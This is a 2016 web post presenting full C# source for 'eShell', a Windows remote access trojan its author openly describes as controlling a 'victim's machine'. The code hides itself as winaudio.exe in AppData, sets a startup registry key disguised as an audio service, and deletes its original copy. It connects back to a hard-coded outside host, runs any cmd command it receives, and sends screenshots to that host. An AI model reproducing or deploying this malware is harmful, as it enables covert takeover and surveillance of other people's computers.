eShell - Remote Windows shell
Submitted on 2016-10-19 16:37:09 by Luuk

eShell is a remote shell for Windows. This remote shell can be used to execute any CMD command on the victim's machine and display the response. It is also possible to take a screenshot. When the .exe is run on a Windows machine it will automatically hide itself between existing Windows files and add a startup registry key.

The program will automatically try to connect to a specific range of TCP ports on the chosen server. If the connection fails or all ports are in use, it will retry every 1 minute.

Screenshot

q9x7Y7.jpg

Video

Source code

using Microsoft.Win32;

using System;

using System.Collections.Generic;

using System.ComponentModel;

using System.Data;

using System.Diagnostics;

using System.Drawing;

using System.IO;

using System.Linq;

using System.Net;

using System.Net.Sockets;

using System.Text;

using System.Text.RegularExpressions;

using System.Threading.Tasks;

using System.Windows.Forms;

namespace NetcatConsole

{

    public partial class Form1 : Form

    {

        public Form1()

        {

            if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Microsoft\\winaudio.exe"))

            {

                if(AppDomain.CurrentDomain.FriendlyName == "winaudio.exe")

                {

                    connect();

                }

                else

                {

                    //Self destruct

                    Process.Start(new ProcessStartInfo()

                    {

                        Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + Application.ExecutablePath + "\"",

                        WindowStyle = ProcessWindowStyle.Hidden,

                        CreateNoWindow = true,

                        FileName = "cmd.exe"

                    });

                    Application.Exit();

                }

            }

            else

            {

                File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Microsoft\\winaudio.exe");

                RegistryKey rk = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

                rk.SetValue("Windows Audio Device Service", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Microsoft\\winaudio.exe");

                //Self destruct

                Process.Start(new ProcessStartInfo()

                {

                    Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + Application.ExecutablePath + "\"",

                    WindowStyle = ProcessWindowStyle.Hidden,

                    CreateNoWindow = true,

                    FileName = "cmd.exe"

                });

                Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Microsoft\\winaudio.exe");

                Application.Exit();

            }

           

        }

        public TcpClient tcpclnt = new TcpClient();

       

        public string version = "0.2";

        public bool connected = false;

        private void Form1_Load(object sender, EventArgs e)

        {

         

        }

        public int port = 1337;

        public string domain = "e-lu.uk";

        public void connect()

        {

            try

            {

                tcpclnt.Connect(Dns.GetHostAddresses(domain)[0], port);

                // use the ipaddress as in the server program

                Console.WriteLine("Connected");

                connected = true;

                Stream stm = tcpclnt.GetStream();

                ASCIIEncoding asen = new ASCIIEncoding();

                byte[] ba = asen.GetBytes("Welcome to eShell version: "+version+"\r\neShell>" + "");

                stm.Write(ba, 0, ba.Length);

                while (connected == true)

                {

                    try {

                        ListenForCommands();

                    }catch(Exception ex)

                    {

                       // Console.WriteLine(ex);

                        connected = false;

                        tcpclnt = new TcpClient();

                        connect();

                    }  

                }

            }

            catch (Exception e)

            {

               

                if (port >= 1350)

                {

                    System.Threading.Thread.Sleep(60000);

                    port = 1337;

                    connect();

                }

                else

                {

                    port++;

                    connect();

                }

            }

        }

        public byte[] getScreenshot()

        {

            try

            {

                ScreenCapture sc = new ScreenCapture();

                Image img = sc.CaptureScreen();

                byte[] data = ImageToByte(img);

                return data;

            }

            catch (Exception e)

            {

                byte[] error = new byte[0];

                return error;

                Console.WriteLine("Error..... " + e.StackTrace);

            }

        }

        public void ListenForCommands()

        {    

                Stream stm = tcpclnt.GetStream();

                ASCIIEncoding asen = new ASCIIEncoding();

                byte[] bb = new byte[100];

                string command = "";

                int k = stm.Read(bb, 0, 100);

                for (int i = 0; i < k; i++)

                    command += Convert.ToChar(bb[i]);

                command = command.Replace("\n", "").Replace("\r", "");

                string cleanCommand = command.Split(' ').First();

                if (cleanCommand == "cmd")

                {

                    string finalCommand = command.Substring(cleanCommand.Length);

                    byte[] cmdout = CMDCommand(finalCommand);

                    stm.Write(cmdout, 0, cmdout.Length);

                }

                else if (cleanCommand == "list")

                {

                    byte[] list = asen.GetBytes("cmd COMMAND- Run shell commands\r\nlist - Show this list\r\nscreenshot PORT - Sends screenshot to server on port\r\n");

                    stm.Write(list, 0, list.Length);

                }

                else if (cleanCommand == "screenshot")

                {

                    string finalCommand = command.Substring(cleanCommand.Length);

                    byte[] screenshotData = getScreenshot();

                    try {

                        TcpClient tcppic = new TcpClient();

                        tcppic.Connect(Dns.GetHostAddresses(domain)[0], int.Parse(finalCommand));

                        Stream picstream = tcppic.GetStream();

                        picstream.Write(screenshotData, 0, screenshotData.Length);

                        tcppic.Close();

                        byte[] msg = asen.GetBytes("Screenshot sent.\r\n");

                        stm.Write(msg, 0, msg.Length);

                    }

                    catch (Exception ex)

                    {

                        byte[] msg = asen.GetBytes("Screenshot not sent could not connect.\r\n");

                        stm.Write(msg, 0, msg.Length);

                    }

                }

                else

                {

                    byte[] msg = asen.GetBytes("Command " + command + " not found\r\n");

                    stm.Write(msg, 0, msg.Length);

                }

                byte[] ba = asen.GetBytes("\r\neShell>");

                stm.Write(ba, 0, ba.Length);

               

        }

        public byte[] CMDCommand(String command)

        {

            try

            {

                Process cmd = new Process();

                cmd.StartInfo.FileName = "cmd.exe";

                cmd.StartInfo.RedirectStandardInput = true;

                cmd.StartInfo.RedirectStandardOutput = true;

                cmd.StartInfo.CreateNoWindow = true;

                cmd.StartInfo.UseShellExecute = false;

                cmd.StartInfo.WorkingDirectory = "C://";

                cmd.Start();

                cmd.StandardInput.WriteLine(command);

                cmd.StandardInput.AutoFlush = true;

                cmd.StandardInput.Close();

                cmd.WaitForExit();

                ASCIIEncoding asen = new ASCIIEncoding();

                string str = cmd.StandardOutput.ReadToEnd();

               

                byte[] ba = asen.GetBytes(str);

                return ba;    

            }

            catch (Exception e)

            {

                Console.WriteLine("Error..... " + e.StackTrace);

                byte[] error = new byte[0];

                return error;      

            }

        }

        public static byte[] ImageToByte(Image img)

        {

            ImageConverter converter = new ImageConverter();

            return (byte[])converter.ConvertTo(img, typeof(byte[]));

        }

    }

}

Esselbr - eShell - Remote Windows shell
© Esselbr.nl 2016